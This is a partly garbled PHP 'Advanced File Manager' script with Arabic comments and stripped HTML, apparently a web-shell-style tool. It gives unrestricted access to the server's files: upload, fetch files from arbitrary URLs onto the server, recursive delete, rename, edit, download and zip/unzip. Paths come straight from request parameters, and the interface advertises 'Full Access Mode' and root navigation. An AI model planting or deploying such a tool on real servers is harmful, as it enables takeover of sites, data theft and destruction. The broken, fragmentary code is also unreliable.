🔐 File Manager

$tmp){ if($_FILES['upload_files']['error'][$key] === UPLOAD_ERR_OK){ if($_FILES['upload_files']['size'][$key] <= MAX_UPLOAD_SIZE){ $filename = basename($_FILES['upload_files']['name'][$key]); $destination = $current_path . DIRECTORY_SEPARATOR . $filename; if(@move_uploaded_file($tmp, $destination)){ @chmod($destination, 0644); $success++; }else{ $failed++; } }else{ $failed++; } }else{ $failed++; } } header('Location: ?path='.urlencode($current_path).'&msg=uploaded&success='.$success.'&failed='.$failed); exit; } // ============ رفع من URL ============ if(isset($_POST['download_url']) && isset($_POST['url'])){ $url = $_POST['url']; $filename = basename(parse_url($url, PHP_URL_PATH)); if(!$filename) $filename = 'downloaded_'.time().'.file'; $destination = $current_path . DIRECTORY_SEPARATOR . $filename; $content = @file_get_contents($url); if($content !== false){ @file_put_contents($destination, $content); @chmod($destination, 0644); header('Location: ?path='.urlencode($current_path).'&msg=url_downloaded'); exit; } header('Location: ?path='.urlencode($current_path).'&msg=error'); exit; } // ============ حذف ============ if(isset($_GET['delete'])){ $delete_path = $_GET['delete']; if(file_exists($delete_path)){ function delete_recursive($path){ if(is_dir($path)){ $items = array_diff(scandir($path), array('.','..')); foreach($items as $item){ delete_recursive($path . DIRECTORY_SEPARATOR . $item); } @rmdir($path); }else{ @unlink($path); } } delete_recursive($delete_path); } header('Location: ?path='.urlencode($current_path).'&msg=deleted'); exit; } // ============ إعادة تسمية ============ if(isset($_POST['rename_from']) && isset($_POST['rename_to'])){ $from = $_POST['rename_from']; $to = dirname($from) . DIRECTORY_SEPARATOR . basename($_POST['rename_to']); if(file_exists($from)){ @rename($from, $to); } header('Location: ?path='.urlencode($current_path).'&msg=renamed'); exit; } // ============ تعديل ملف ============ if(isset($_GET['edit'])){ $edit_file = $_GET['edit']; if(file_exists($edit_file) && is_file($edit_file)){ if(isset($_POST['file_content'])){ @file_put_contents($edit_file, $_POST['file_content']); header('Location: ?path='.urlencode($current_path).'&msg=saved'); exit; } $content = @file_get_contents($edit_file); ?> Edit File

📝 Edit:

📂

Cancel
'.htmlspecialchars($content).''; echo '
← Back'; exit; } } // ============ تحميل ملف ============ if(isset($_GET['download'])){ $download_file = $_GET['download']; if(file_exists($download_file) && is_file($download_file)){ header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($download_file).'"'); header('Content-Length: '.filesize($download_file)); readfile($download_file); exit; } } // ============ ضغط مجلد ============ if(isset($_GET['zip_folder'])){ $zip_folder = $_GET['zip_folder']; if(file_exists($zip_folder) && is_dir($zip_folder) && class_exists('ZipArchive')){ $zip_name = basename($zip_folder).'_'.date('Ymd_His').'.zip'; $zip_path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zip_name; $zip = new ZipArchive(); if($zip->open($zip_path, ZipArchive::CREATE) === TRUE){ $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($zip_folder, FilesystemIterator::SKIP_DOTS) ); foreach($iterator as $file){ $file_path = $file->getPathname(); $relative_path = substr($file_path, strlen($zip_folder) + 1); if($file->isDir()){ $zip->addEmptyDir($relative_path); }else{ $zip->addFile($file_path, $relative_path); } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="'.$zip_name.'"'); header('Content-Length: '.filesize($zip_path)); readfile($zip_path); @unlink($zip_path); exit; } } } // ============ فك ضغط ============ if(isset($_POST['unzip_file'])){ $zip_file = $_POST['unzip_file']; if(file_exists($zip_file) && is_file($zip_file) && class_exists('ZipArchive')){ $zip = new ZipArchive(); if($zip->open($zip_file) === TRUE){ $zip->extractTo(dirname($zip_file)); $zip->close(); } } header('Location: ?path='.urlencode($current_path).'&msg=unzipped'); exit; } // ============ قراءة الملفات ============ $files = array(); $dirs = array(); if($handle = @opendir($current_path)){ while(($item = readdir($handle)) !== false){ if($item === '.') continue; $item_path = $current_path . DIRECTORY_SEPARATOR . $item; $item_info = array( 'name' => $item, 'path' => $item_path, 'is_dir' => is_dir($item_path), 'size' => is_file($item_path) ? @filesize($item_path) : 0, 'modified' => @filemtime($item_path), 'perms' => @fileperms($item_path) ? substr(sprintf('%o', @fileperms($item_path)), -4) : '----', 'writable' => is_writable($item_path) ); if($item_info['is_dir']){ $dirs[] = $item_info; }else{ $files[] = $item_info; } } closedir($handle); } // ترتيب usort($dirs, 'sort_by_name'); usort($files, 'sort_by_name'); function sort_by_name($a, $b){ return strcasecmp($a['name'], $b['name']); } $all_items = array_merge($dirs, $files); // تحويل الحجم function format_size($bytes){ if($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } // بناء مسار التنقل (Breadcrumb) function build_breadcrumb($path){ $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR)); $breadcrumb = array(); $accumulated = ''; // الجذر $breadcrumb[] = array('name' => '🏠 Root', 'path' => '/'); foreach($parts as $part){ if($part === '') continue; $accumulated .= DIRECTORY_SEPARATOR . $part; $breadcrumb[] = array('name' => $part, 'path' => $accumulated); } return $breadcrumb; } $breadcrumb = build_breadcrumb($current_path); ?> File Manager - <?php echo htmlspecialchars(basename($current_path)); ?>

📁 Advanced File Manager

📂 Folders: 📄 Files: ✅ Full Access Mode
Logout
'.$msg_text.'
'; } ?>
📂 Current Path: ⬆️ Up
🏠 Go to Root
Name Size Modified Permissions Actions
🔒 ✏️ 👁️ ⬇️
🗜️ 🗑️
📭 Empty folder